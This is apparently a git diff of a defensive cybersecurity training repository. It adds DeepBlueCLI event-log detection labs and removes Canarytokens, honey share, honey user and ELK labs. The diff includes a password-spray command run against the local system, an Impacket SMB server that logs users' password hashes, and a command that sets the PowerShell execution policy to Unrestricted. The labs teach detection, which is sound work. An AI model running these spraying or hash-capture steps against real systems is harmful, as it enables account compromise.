a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png new file mode 100755 index 00000000..2063eecd Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-55-12.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-55-12.png new file mode 100755 index 00000000..d29b569c Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-55-12.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-23-13-36-10.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-23-13-36-10.png new file mode 100755 index 00000000..70aeb673 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-23-13-36-10.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/OpeningPowershell.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/OpeningPowershell.png new file mode 100644 index 00000000..6ce0ad48 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/OpeningPowershell.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluespawndetections.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluespawndetections.png new file mode 100644 index 00000000..b3f0a4ee Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluespawndetections.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluspawnlaunched.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluspawnlaunched.png new file mode 100644 index 00000000..47e8fa41 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/bluspawnlaunched.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/cdandstartbluespawn.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/cdandstartbluespawn.png new file mode 100644 index 00000000..87be1d62 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/cdandstartbluespawn.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/crossreference.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/crossreference.png new file mode 100644 index 00000000..e1bfa310 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/crossreference.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/desktop.ini b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/desktop.ini new file mode 100755 index 00000000..d6155493 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/desktop.ini @@ -0,0 +1,2 @@ +[LocalizedFileNames] +Clipboard_2020-06-12-10-36-44.png=@Clipboard_2020-06-12-10-36-44,0 diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/disableDefender.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/disableDefender.png new file mode 100644 index 00000000..cccd1e66 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/disableDefender.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/installationconfirmation.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/installationconfirmation.png new file mode 100644 index 00000000..6d184e40 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/installationconfirmation.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/invokeatomicv1.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/invokeatomicv1.png new file mode 100644 index 00000000..fb45da9d Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/invokeatomicv1.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/openingcommandprompt.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/openingcommandprompt.png new file mode 100644 index 00000000..4a0f6711 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/openingcommandprompt.png differ diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/Canarytokens.md b/IntroClassFiles/Tools/IntroClass/canarytokens/Canarytokens.md deleted file mode 100644 index e22db84d..00000000 --- a/IntroClassFiles/Tools/IntroClass/canarytokens/Canarytokens.md +++ /dev/null @@ -1,127 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) -  - -# Canarytokens  - - -First, we will need to navigate to the canarytokens server from a system with Microsoft Word on it:  - -https://www.canarytokens.org/generate#  - -![image](https://github.com/user-attachments/assets/7ca0b2ac-9072-4336-9ea8-347797f9b74d) - - - -Now, let's create a token Word Document:  - - -   - -![image](https://github.com/user-attachments/assets/ce30b266-57d9-4f8b-8dc2-82783a7a3599) - - -   - -Then select Create Token.  - -   - -When you get the next screen, select Download your MS Word File.   - -   - -Then, download it and open it.  - -   - -![](attachment/Clipboard_2021-03-12-10-03-10.png)  - -   - -Notice that it is just an empty Word document. You can add whatever you want in it.  - -   - -Now, check your email.  - -   - -You should have gotten an alert:  - -   - -![](attachment/Clipboard_2021-03-12-10-04-16.png)  - -   - -Now, let's play with the site cloner:  - -   - -Please select New Token in the upper right corner. - -   - -![](attachment/Clipboard_2021-03-12-10-07-48.png)  - -   - -Then, select Cloned Website from the dropdown:  - -   - -![](attachment/Clipboard_2021-03-12-10-08-21.png)  - -   - -Next, fill in the appropriate fields:  - -   - -![](attachment/Clipboard_2021-03-12-10-09-19.png)  - -   - -Now, select Create my Canarytoken.  - -   - -Now we will need to copy the JavaScript and put it somewhere so it triggers: - -   - -![](attachment/Clipboard_2021-03-12-10-11-06.png)  - -   - -Now, let's surf to https://scriptasylum.com/tutorials/encode-decode.html  - -   - -Then, simply paste your JavaScript into the first two boxes as you scroll down then click the right arrow to encode:  - -   - -![](attachment/Clipboard_2021-03-12-10-18-39.png)  - -   - -In a few moments you should get an email alert:  - -   - -![](attachment/Clipboard_2021-03-12-10-19-36.png)  - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - -   - -   - -   - -   - -  - -  diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecli/DeepBlueCLI.md b/IntroClassFiles/Tools/IntroClass/deepbluecli/DeepBlueCLI.md index 36eb68e5..d7ae4b87 100755 --- a/IntroClassFiles/Tools/IntroClass/deepbluecli/DeepBlueCLI.md +++ b/IntroClassFiles/Tools/IntroClass/deepbluecli/DeepBlueCLI.md @@ -6,19 +6,25 @@ DeepBlueCLI is a free tool by **Eric Conrad** that demonstrates some amazing det Let's get started by opening **Windows Powershell**. -![](attachments/OpeningPowershell.png) +Screenshot From 2026-02-07 17-59-15 Next, we need to navigate to the **IntroLabs** directory: -
cd \IntroLabs
+```ps +cd \IntroLabs +``` Then, continue into the **DeepBlueCLI-master** directory: -
cd .\DeepBlueCLI-master
+```ps +cd .\DeepBlueCLI +``` Run the following command: -
Set-ExecutionPolicy Unrestricted
+```ps +Set-ExecutionPolicy Unrestricted +``` Most likely, you will be prompted to confirm the change. @@ -30,7 +36,9 @@ It is very common for attackers to add additional users on to a system they have Now, let’s run a check in the **.evtx** files for adding a new user: -
.\DeepBlue.ps1 .\evtx\new-user-security.evtx
+```ps +.\DeepBlue.ps1 .\evtx\new-user-security.evtx +``` You should see the following: @@ -42,22 +50,29 @@ This is the exact behavior that **UEBA** should be able to detect. Let's look at an event log with a password spray attack. This is very much part of what a full **UEBA** solution does: -
.\DeepBlue.ps1 .\evtx\smb-password-guessing-security.evtx
+```ps +.\DeepBlue.ps1 .\evtx\smb-password-guessing-security.evtx +``` ![](attachments/deepblue_passwordguessing.png) Same thing with detecting a password spraying attack: -
.\DeepBlue.ps1 .\evtx\password-spray.evtx
+```ps +.\DeepBlue.ps1 .\evtx\password-spray.evtx +``` ![](attachments/deepblue_passwordspray.png) For fun, let’s look at how **DeepBlueCLI** detects various encoding tactics that attackers use to obfuscate their attacks. It is very common for attackers to use a number of encoding techniques to bypass signature detection. However, it is not something that normally happens with standard scripts. -
.\DeepBlue.ps1 .\evtx\Powershell-Invoke-Obfuscation-encoding-menu.evtx
+```ps +.\DeepBlue.ps1 .\evtx\Powershell-Invoke-Obfuscation-encoding-menu.evtx +``` ![](attachments/deepblue_powershell-invokeobfuscation.png) + *** Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/DomainLogReview/DomainLogReview.md) @@ -73,3 +88,5 @@ Please be sure to destroy the lab environment! --- + + diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md new file mode 100755 index 00000000..68a181c3 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md @@ -0,0 +1,94 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# DeepBlueCLI + +DeepBlueCLI is a free tool by **Eric Conrad** that demonstrates some amazing detection capabilities. It also has some checks that are effective for showing how **UEBA** style techniques can be in your environment. + +Let's get started by opening **Windows Powershell**. + +Screenshot From 2026-02-07 17-59-15 + +Next, we need to navigate to the **IntroLabs** directory: + +```ps +cd \IntroLabs +``` + +Then, continue into the **DeepBlueCLI-master** directory: + +```ps +cd .\DeepBlueCLI +``` + +Run the following command: + +```ps +Set-ExecutionPolicy Unrestricted +``` + +Most likely, you will be prompted to confirm the change. + +Please enter **"Y"** for Yes. + +![](attachments/deepblue_setexecutionpolicy.png) + +It is very common for attackers to add additional users on to a system they have compromised. This gives them a level of persistence that they otherwise would not gain with malware. Why? There are lots and lots of tools to detect malware. By creating an extra user account it allows them to blend in. + +Now, let’s run a check in the **.evtx** files for adding a new user: + +```ps +.\DeepBlue.ps1 .\evtx\new-user-security.evtx +``` + +You should see the following: + +![](attachments/deepblue_newusersecurity.png) + +Another attack that very few **SIEMs** detect is password spraying. This is where an attacker takes a user list from a domain, and sprays it with the same password, think **"Summer2020"**. This is effective because it keeps the lockout threshold below the lockout policy and many times flies under the radar simply because accounts are not getting locked out. + +This is the exact behavior that **UEBA** should be able to detect. + +Let's look at an event log with a password spray attack. This is very much part of what a full **UEBA** solution does: + +```ps +.\DeepBlue.ps1 .\evtx\smb-password-guessing-security.evtx +``` + +![](attachments/deepblue_passwordguessing.png) + +Same thing with detecting a password spraying attack: + +```ps +.\DeepBlue.ps1 .\evtx\password-spray.evtx +``` + +![](attachments/deepblue_passwordspray.png) + +For fun, let’s look at how **DeepBlueCLI** detects various encoding tactics that attackers use to obfuscate their attacks. It is very common for attackers to use a number of encoding techniques to bypass signature detection. However, it is not something that normally happens with standard scripts. + +```ps +.\DeepBlue.ps1 .\evtx\Powershell-Invoke-Obfuscation-encoding-menu.evtx +``` + +![](attachments/deepblue_powershell-invokeobfuscation.png) + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/nessusIntroClass/Nessus.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Bluespawn.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png new file mode 100755 index 00000000..4175daf4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-06-33.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-06-33.png new file mode 100755 index 00000000..59b37f53 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-06-33.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-07-43.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-07-43.png new file mode 100755 index 00000000..87f0cde4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-07-43.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-08-14.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-08-14.png new file mode 100755 index 00000000..80638a6a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-08-14.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-10-30.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-10-30.png new file mode 100755 index 00000000..9c41e8a1 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-10-30.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-14.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-14.png new file mode 100755 index 00000000..95a5a818 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-14.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-59.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-59.png new file mode 100755 index 00000000..bb761918 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-15-14-11-59.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png new file mode 100755 index 00000000..2063eecd Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/Clipboard_2020-06-16-09-53-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/OpeningPowershell.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/OpeningPowershell.png new file mode 100644 index 00000000..6ce0ad48 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/OpeningPowershell.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_newusersecurity.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_newusersecurity.png new file mode 100644 index 00000000..7a7a9476 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_newusersecurity.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordguessing.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordguessing.png new file mode 100644 index 00000000..ec721477 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordguessing.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordspray.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordspray.png new file mode 100644 index 00000000..16133989 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_passwordspray.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_powershell-invokeobfuscation.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_powershell-invokeobfuscation.png new file mode 100644 index 00000000..265e18b4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_powershell-invokeobfuscation.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_setexecutionpolicy.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_setexecutionpolicy.png new file mode 100644 index 00000000..11a33913 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/deepblue_setexecutionpolicy.png differ diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/desktop.ini b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/desktop.ini new file mode 100755 index 00000000..c0c44609 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/desktop.ini @@ -0,0 +1,3 @@ +[LocalizedFileNames] +Clipboard_2020-06-12-10-36-44.png=@Clipboard_2020-06-12-10-36-44,0 +Clipboard_2020-06-16-09-53-18.png=@Clipboard_2020-06-16-09-53-18,0 diff --git a/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/openingcommandprompt.png b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/openingcommandprompt.png new file mode 100644 index 00000000..4a0f6711 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/attachments/openingcommandprompt.png differ diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/HoneyShare.md b/IntroClassFiles/Tools/IntroClass/honeyshare/HoneyShare.md deleted file mode 100644 index 7b454508..00000000 --- a/IntroClassFiles/Tools/IntroClass/honeyshare/HoneyShare.md +++ /dev/null @@ -1,115 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) -  - -# Honey Share  - -   - -In this lab we will be creating and triggering a honey share.  The goal of this lab is to show how to set up a simple Impacket SMB server that can record attempted connections to it.  - -   - -This can be used for detecting lateral movement in a Windows environment.   - -   - -One of the cool things about this is it will track the compromised user, the system and the password hash of the compromised user account.  - -   - -Let's get started.  - -   - - - -First, we will need to open an Kali Linux Prompt:  - -![image](https://github.com/user-attachments/assets/4890f6f1-bea0-4419-a588-3e6594c9118f) - - - -Let's get our IP address.  - -   - -`ifconfig`  - -   -![image](https://github.com/user-attachments/assets/aed53ef8-6796-4897-ba51-c1a4a09f1b24) - -Next, we will become root and navigate to the Impacket directory:  - -   - -`sudo su -`  - -   - -`cd /opt/impacket/examples`  - -   - -It should look like this:  - -   - -![image](https://github.com/user-attachments/assets/e5cbc8eb-b3a8-4fe6-84c2-569e6fed013c) - - -Now, let's start the SMB server:  - -   - -`python3 ./smbserver.py -smb2support -comment 'secret' SECRET /secret`  - -   - -It should look like this:  - - ![image](https://github.com/user-attachments/assets/d1268c27-a141-4a95-96ce-a9482d4b3e56) -  - - -Next, let's open a Windows Command Prompt:  - -![image](https://github.com/user-attachments/assets/0ccc949d-32c3-4d7b-bb18-1bb39ee36dfc) -   - - -Then, attempt to mount the share from your Windows system:  - - -`net use * \\172.17.78.175\secret`  - -Remember! Your IP address may be different!!! -   - -We did the most basic level of attempted authentication to the share, and it generated an error.   - -![image](https://github.com/user-attachments/assets/8d861109-cd62-4231-946a-98f2284466a6) - - -However, the trap was triggered!  - -   - -Go back to your Kali Linux terminal and see the log data.  - - -It should look like this:  - -![image](https://github.com/user-attachments/assets/4b3291a4-fbd1-49a6-968f-f72caefc403a) - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - - -   - -  - -   - -  - -  diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/honeyuser.md b/IntroClassFiles/Tools/IntroClass/honeyuser/honeyuser.md deleted file mode 100644 index 4efff569..00000000 --- a/IntroClassFiles/Tools/IntroClass/honeyuser/honeyuser.md +++ /dev/null @@ -1,210 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) -  - -# Honey User  - -   - -In this lab we will be setting up a poor persons SIEM with an "alert" generated whenever the Honey Account Frank is accessed.  - -   - -Why Frank?  - -   - -Because.  - -   - -Let's get started.  - -   - -First, we will need to create the users and the Frank account.  - -Let's open a command prompt: - -![image](https://github.com/user-attachments/assets/1abaf0d9-e8ed-4bfb-afab-1de17ad0f081) - - - -Now, we will need to navigate to the C:\IntroLabs directory and add the example users and Frank.  - -   - -`cd \IntroLabs`  - -   - -`200-user-gen.bat`  - -   - -It should look like this:  - -   -![image](https://github.com/user-attachments/assets/d659078e-4504-4e8e-9800-b15db7aebb64) - - -   - -Now, we need to create the Custom View in event viewer to capture anytime someone logs in as Frank.  - -   - -To do this click the Windows Start button then type Event Viewer.  - -   - -It should look like this:  - -   - -![](attachment/Clipboard_2021-03-12-11-16-35.png)  - -   - -When in the Event Viewer, select Windows Logs > Security then Create Custom View on the far-right hand side.  - -   - -It should look like this:  - -   - -![](attachment/Clipboard_2021-03-12-11-18-15.png)  - -When Create Custom View opens, please select XML:  - -   - -![](attachment/Clipboard_2021-03-12-11-19-02.png)  - -   - -Then, select Edit query Manually, Press Yes on the Alert Box and then replace the text in the query with the text below:  - -~~~~~~  - - - - - - -~~~~~~ - -It should look like this:  - -   - -![](attachment/Clipboard_2021-03-12-11-21-57.png)  - -   - -Now, press OK.  - -   - -When the Save Filter to Custom View box opens, name the filter Frank then press OK.  - - -When we click on our new View we will see the Events associated with the Frank Account Being Created:  - -   - -![](attachment/Clipboard_2021-03-12-11-24-20.png)  - -   - -Now, let's trip a few more.  - -   - -Back at your Windows Command Prompt  - -   - -   - - -`cd \IntroLabs` - - - `powershell`  - -   - - `Set-ExecutionPolicy Unrestricted`  - -   - - `Import-Module .\LocalPasswordSpray.ps1`  - -   - -It should look like this:  - -   -![image](https://github.com/user-attachments/assets/04441fb8-95ba-441c-8ccd-a18027b064da) - - -   - -Now, let’s try some password spraying against the local system!  - -   - -   -`Invoke-LocalPasswordSpray -Password Winter2020`  - -   - -It should look like this:  - -  ![image](https://github.com/user-attachments/assets/42e83694-5305-411e-bae8-b28f4cbb7598) - - - -   - -Now we need to clean up and make sure the system is ready for the rest of the labs:  - -   -`exit`  - -   - -`user-remove.bat`  - -   - -![](attachment/Clipboard_2021-03-12-11-30-08.png)  - -   - -Now, let's see if any alerts were generated.  - -   - -Go back to your Event Viewer and refresh (Action > Refresh).  - -   - -You should see the "Alerts"!  - -   - -![](attachment/Clipboard_2021-03-12-11-32-18.png)  - -   - -Just for a bit of reference.  We did this locally as an example of setting this up on a full SIEM.  We did it in less than 20 min.  Your SIEM team working with your AD Ops team should be able to pull this off.  - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - -   - -  - -  diff --git a/IntroClassFiles/Tools/IntroClass/md/elastic_agent.md b/IntroClassFiles/Tools/IntroClass/md/elastic_agent.md deleted file mode 100644 index 16a61205..00000000 --- a/IntroClassFiles/Tools/IntroClass/md/elastic_agent.md +++ /dev/null @@ -1,70 +0,0 @@ -#### Elastic Agents ---- - -!!! - This is part two of a three-part series. - [Part One](./elk_in_the_cloud.md "Elk in the Cloud") - [Part Three](./sysmon_logs.md "Configuring Sysmon") - ---- - -In part one, we started an ELK instance in the Elastic Cloud. - -The Elastic Agent software enables users to easily send logs to our ELK instance, a process typically called **"ingesting."** - -**1. Download the Elastic Agent.** - -Press the **Powershell** icon in the taskbar to launch **Windows Powershell**. - -![Powershell](./images/OpeningPowershell.png) - -Copy the command you saved in the file. In my case, it was **"agent.txt"** and paste it into the **powershell**. - -No need to hit enter, as it will run each line of code separately when you paste it in! - -![Powershell](./images/powershell.png) - -Make sure you type **y** and hit enter when prompted by powershell. - -Switch back over to your browser and you should see **"1 Agent has been enrolled".** - -![Enrolled Machine](./images/finish_button.PNG) - -Then Click **"Add to Integration"**. - -On the next page leave everything default and click **"Confirm Incoming Data".** - -![Confirm Data](./images/confirm_data.PNG) - -The browser will take a few seconds to confirm the machine is connected, once thats finished click **"View Assets".** - -![Enrolled](./images/successful_enroll.PNG) - -**2. Check The Fleet.** - -We should be connected and ready for **part 3**. Lets make sure the device has successfully connected. - -Click the hamburger at the top left of the window and scroll down almost all the way to the bottom. Click the option **"Fleet"**. - -![Fleet](./images/fleet_loc.PNG) - -This allows us to view our **agent policies**. - -![Powershell](./images/pic_of_box.PNG) - -Our Elastic Agent is installed and configured to be connected to our ELK instance in the cloud. **Part three** will cover how to configure Sysmon to submit logs to this Elastic Agent. This will ingest the logs to appear in **Kibana**. - -[Part Three](./sysmon_logs.md "Configuring Sysmon") - -*** -***Continuing on to the next Lab?*** - -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) - -***Finished with the Labs?*** - - -Please be sure to destroy the lab environment! - -[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) - ---- diff --git a/IntroClassFiles/Tools/IntroClass/md/elk_in_the_cloud.md b/IntroClassFiles/Tools/IntroClass/md/elk_in_the_cloud.md deleted file mode 100644 index d3c9fd57..00000000 --- a/IntroClassFiles/Tools/IntroClass/md/elk_in_the_cloud.md +++ /dev/null @@ -1,104 +0,0 @@ -#### ELK in the Cloud ---- - -!!! This is part one of a three-part series. - [Part Two](./elastic_agent.md "Elastic Agents") - [Part Three](./sysmon_logs.md "Configuring Sysmon") - ---- - -ELK combines three technologies and provides a powerful solution when working with large data sets. In addition, we are able to setup **SIEM** rules to alert us as defenders to attacks on our organization. - -* E - Elasticsearch -* L - Logstash -* K - Kibana - -ELK enables defenders to detect attacks and conduct threat hunting. - -To learn ELK, we don't need several servers or to spend large sums of money. We can get into the driver's seat and experiment with ELK by using the Elastic Cloud 14-day trial. The trial does not require a credit card to get started. You only need an email and a password. - -**1. Set up an account.** - -[Start your free Elastic Cloud Trial](https://cloud.elastic.co/registration?fromURI=%2Fhome "https://cloud.elastic.co/registration?fromURI=%2Fhome") - -This link is for the trial sign up page. Start a trial by signing up. - -![Signup page for Elastic Cloud](./images/cloud_signup.png) - -Watch your email for a confirmation. The email will look something similar to this. - -![Elastic Confirmation Email](./images/elastic_email.png) - -Click **"Verify and Accept"**. You should be redirected to the cloud login page. If you're not redirected, you can find it here. - -[Elastic Cloud Log In](https://cloud.elastic.co/login "https://cloud.elastic.co/login") - -After logging in, the page will look like this. - -Fill out the proper field with the correct information pictured below and select the check boxes with red dots. - -Once those fields are filled out click "Next" - -![Welcome To Elastic](./images/elastic_welcome.png) - -**2. Start an ELK instance.** - -Upon clicking **Next** you will see the following page. - -For my instance, I will be calling it **"security-development"**. Make sure to enter the name of your deployment and click **"Create Deployment"**. - -![Creating Delployment](./images/deployment2.PNG) - -Next we will see this page. - -![Creating Creds](./images/creds3.PNG) - -Elastic will present the credentials for this **ELK** stack. There is the option to download a CSV of the credentials. If you decide to hold onto these credentials, **don't** lose them. - -Then we will need to wait for the continue button to turn **blue**, once that's done click continue. - -![Waiting For Deploy](./images/waiting_for_deploy4.PNG) - -We will be greeted with menu of options, we want to **skip** that menu. - -![Skip Prompt](./images/skip_prompt5.PNG) - -Then at the top of the page we want to click search and type **"kibana"** and hit enter. - -![Search Kibana](./images/kibana_search6.PNG) - -Once the next page load we want to add **kibana**. Select **"Add Kibana"** - -![Add Kibana](./images/add_kibana7.PNG) - -We will next be prompted to **"Install Elastic Agent"** This is what we are going to put on our machine to monitors what's happening. Click **"Install Elastic Agent"**. - -![Add Elastic Agent](./images/kibana_loading8.PNG) - -The next page we meet will have a wall of text. Select **"windows"**. - -We will need to click the **"Copy to Clipboard"**. - -![Add Elastic Agent](./images/windows_kibana.PNG) - -Keep this command saved. It is recommended to paste this command into a text file where you won't lose it. In this example, I saved it to a file I called **"agent.txt"**. We will use this command later. - -![](./images/agent_txt.png) - -The ELK stack is now configured and we have our connection information saved. **Part two** will cover how to install and configure an Elastic Agent. - -[Part Two](./elastic_agent.md "Elastic Agents") - -*** -***Continuing on to the next Lab?*** - -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) - -***Finished with the Labs?*** - - -Please be sure to destroy the lab environment! - -[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) - ---- diff --git a/IntroClassFiles/Tools/IntroClass/md/images/Capture1.PNG b/IntroClassFiles/Tools/IntroClass/md/images/Capture1.PNG deleted file mode 100644 index d657dd75..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/Capture1.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/account_confirmed.png 